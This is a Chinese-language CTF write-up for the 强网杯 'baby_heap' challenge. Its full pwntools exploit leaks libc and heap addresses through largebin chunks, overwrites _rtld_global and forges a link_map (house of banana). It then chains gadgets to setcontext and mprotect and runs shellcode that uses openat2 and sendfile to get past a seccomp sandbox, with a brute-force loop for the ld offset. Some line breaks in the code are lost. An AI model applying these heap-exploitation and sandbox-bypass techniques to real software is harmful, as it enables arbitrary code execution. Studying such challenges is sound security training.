强网杯-PWN-baby_heap
本题开了沙箱,禁用了execve,open和openat,但是可以用openat2绕过。只能申请输入largebin大小的堆块,可以利用largebin特性泄露libc和heap的地址,泄露之后接下来方法就很多了,这里介绍house of banana的做法
首先是常规的泄露libc和heap的地址,非常简单
add(0x568)
add(0x560)
delete(1)
add(0x550)
show(1)
# debug()
main_arena_96 = get_addr()
libc_base = main_arena_96 - 2208032
p.recv(10)
heap_addr = u64(p.recv(6).ljust(8, b"\x00"))
print(hex(heap_addr))
print(hex(libc_base))
接下来,我们发现程序中存在一个任意地址写的漏洞,但是会进行check检查,不过没有关系,house of banana打的是rtld_global,这个变量位于ld段,可以通过check,我们将其修改成我们可以控制的堆地址,然后伪造link_map,使之最后能够成功调用我们在堆上精心布置好的链子把flag给输出出来
ret = libc_base + 0x29139
pop_rdi_ret = libc_base + next(libc.search(asm('pop rdi;ret;')))
pop_rsi_ret = libc_base + next(libc.search(asm('pop rsi;ret;')))
pop_rdx_r12_ret = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
pop_rax_ret = libc_base + 0x45eb0
open_addr=libc.symbols['open']+libc_base
read_addr=libc.symbols['read']+libc_base
write_addr=libc.symbols['write']+libc_base
syscall_ret = libc_base + 0x91316
setcontext=libc_base+libc.symbols['setcontext']
stderr = libc_base + libc.sym['stderr']
# rtld_global=libc_base+0x3fd040
offset = 0x3 << 20
offset += 0xf << 16
offset += 0xd << 12
offset += 0x040
rtld_global=libc_base+offset
env(1)
addr = rtld_global
write(p64(addr), p64(heap_addr)+p64(5))
next_link_map = rtld_global + 0x1850
magic_gadget1= libc_base + 0x1136df #1136df : mov rdx, qword ptr [rax + 0xb0] ; call qword ptr [rax + 0x88]
magic_gadget2= libc_base + 1482858 #
fake_addr=heap_addr
call_rax = libc_base + 0x29d8e
flag_write_addr = fake_addr+0x450
orw = p64(pop_rsi_ret) + p64(0x3000)
orw+= p64(pop_rax_ret) + p64(10)
orw+= p64(pop_rdx_r12_ret) + p64(0x7) + p64(0)
orw+= p64(syscall_ret)+p64(pop_rax_ret)+p64(fake_addr+0x398)+p64(call_rax)
x = asm(f"""
mov rax, 0
mov rdi, 0
mov rsi, {fake_addr+0x398}
mov rdx, 0x100
syscall
""")
orw += x
print(len(x))
pl = p64(0)+p64(next_link_map)+p64(0)+p64(fake_addr)
pl = pl.ljust(0x38,b'\x00')+p64(fake_addr+0x58)+p64(8)+p64(magic_gadget1)
pl = pl.ljust(0xd0,b'\x00')+p64(setcontext+61)
pl = pl.ljust(0xf8,b'\x00')+p64(fake_addr+0x330-0xa0)+p64(fake_addr+0x40)
pl = pl.ljust(0x110,b'\x00')+p64(fake_addr+0x48)
pl = pl.ljust(0x2e8,b'\x00') + p64(fake_addr-0x950)#0xb0-0xa00
pl = pl.ljust(0x31c-0x10,b'\x00')+p64(0x1c) #0x314
pl = pl.ljust(0x320,b'\x00')
pl += p64(fake_addr+0x340) + p64(ret) + orw
print(f"----{x}-------{y}------{hex(offset)}")
edit(1, pl)
sla(b'choice: \n', b'5')
payload =b"\x90" * 0x21+ asm("""
mov rax, 0x67616c662f
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall
mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall
""")
p.recvuntil(b"What ! Are you kidding me ? \n")
pause()
sl(payload)
inter()
现在我解释一下这个链子是如何构造的,这里不再介绍banana的link_map伪造,可以参考House of banana学习,这里为什么不直接调用setcontext+61呢,因为通过调试会发现到这里的rdx为1,直接用会crash掉,所以就从libc中找一个magic_gadget,把rdx赋值为我们可以控制的区域,然后去调用mprotect设置一段可读可写可执行区域,这个区域也是经过精心布置的,刚好在设置完mprotect的后面,然后再调用read向其中写openat2和sendfile的shellcode就可以得到flag了。这就是这道题整个house of banana的流程。其他方法还有house of some之类的,本处就不细谈了。还有一点就是,本地的ld偏移和远程不一样,需要爆破,这里给出爆破脚本。
from pwn import *
from struct import pack
from ctypes import *context(os='linux', arch='amd64')
# p = process("./pwn")
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
elf = ELF('./pwn')def exp(x, y):
try:
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def add(size):
sla(b'choice: \n', b'1')
sla(b'commodity size \n', str(size).encode())
def delete(idx):
sla(b'choice: \n', b'2')
sla(b'delete: \n', str(idx).encode())
def edit(idx, content):
sla(b'choice: \n', b'3')
sla(b'edit: \n', str(idx).encode())
sa(b'content \n', content)def show(idx):
sla(b'choice: \n', b'4')
sla(b'to show: \n', str(idx).encode())def env(choice):
sla(b'choice: \n', b'5')
sla(b"be sad !\n", str(choice).encode())def write(addr, value):
sla(b'choice: \n', b'8')
s(addr)
s(value)p = remote("127.0.0.1", 9999)
add(0x568)
add(0x560)
delete(1)
add(0x550)
show(1)
# debug()
main_arena_96 = get_addr()
libc_base = main_arena_96 - 2208032
p.recv(10)
heap_addr = u64(p.recv(6).ljust(8, b"\x00"))
print(hex(heap_addr))
print(hex(libc_base))ret = libc_base + 0x29139
pop_rdi_ret = libc_base + next(libc.search(asm('pop rdi;ret;')))
pop_rsi_ret = libc_base + next(libc.search(asm('pop rsi;ret;')))
pop_rdx_r12_ret = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
pop_rax_ret = libc_base + 0x45eb0
open_addr=libc.symbols['open']+libc_base
read_addr=libc.symbols['read']+libc_base
write_addr=libc.symbols['write']+libc_base
puts_addr=libc.symbols['puts']+libc_base
syscall_ret = libc_base + 0x91316
setcontext=libc_base+libc.symbols['setcontext']
# rtld_global=libc_base+0x3fd040
offset = 0x2 << 20 #这里2,3,4都可能
offset += x << 16
offset += y << 12
offset += 0x040
rtld_global=libc_base+offset
rtld_global_ptr=libc_base+libc.symbols['_rtld_global']
# print(hex(rtld_global),"--",hex(rtld_global_ptr))
env(1)
# gdb.attach(p, "b *0x555555555c33")
addr = rtld_global
write(p64(addr), p64(heap_addr)+p64(5))
next_link_map = rtld_global + 0x1850
# print("next_link_map: ",hex(next_link_map))
magic_gadget1= libc_base + 0x1136df #1136df : mov rdx, qword ptr [rax + 0xb0] ; call qword ptr [rax + 0x88]
magic_gadget2= libc_base + 1482858 #
fake_addr=heap_addrcall_rax = libc_base + 0x29d8e
flag_write_addr = fake_addr+0x450
orw = p64(pop_rsi_ret) + p64(0x3000)
orw+= p64(pop_rax_ret) + p64(10)
orw+= p64(pop_rdx_r12_ret) + p64(0x7) + p64(0)
orw+= p64(syscall_ret)+p64(pop_rax_ret)+p64(fake_addr+0x398)+p64(call_rax)
x = asm(f"""
mov rax, 0
mov rdi, 0
mov rsi, {fake_addr+0x398}
mov rdx, 0x100
syscall
""")
orw += x
print(len(x))pl = p64(0)+p64(next_link_map)+p64(0)+p64(fake_addr)
pl = pl.ljust(0x38,b'\x00')+p64(fake_addr+0x58)+p64(8)+p64(magic_gadget1)
pl = pl.ljust(0xd0,b'\x00')+p64(setcontext+61)
pl = pl.ljust(0xf8,b'\x00')+p64(fake_addr+0x330-0xa0)+p64(fake_addr+0x40)
pl = pl.ljust(0x110,b'\x00')+p64(fake_addr+0x48)
pl = pl.ljust(0x2e8,b'\x00') + p64(fake_addr-0x950)#0xb0-0xa00
pl = pl.ljust(0x31c-0x10,b'\x00')+p64(0x1c) #0x314
pl = pl.ljust(0x320,b'\x00')
pl += p64(fake_addr+0x340) + p64(ret) + orw
print(f"----{x}-------{y}------{hex(offset)}")
edit(1, pl)sla(b'choice: \n', b'5')
payload =b"\x90" * 0x21+ asm("""
mov rax, 0x67616c662f
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall
mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall
""")p.recvuntil(b"What ! Are you kidding me ? \n")
pause()
sl(payload)
inter()
except:
print('trying...')
p.close()for x in range(0xe,0x10):
for y in range(0x10):
exp(x,y)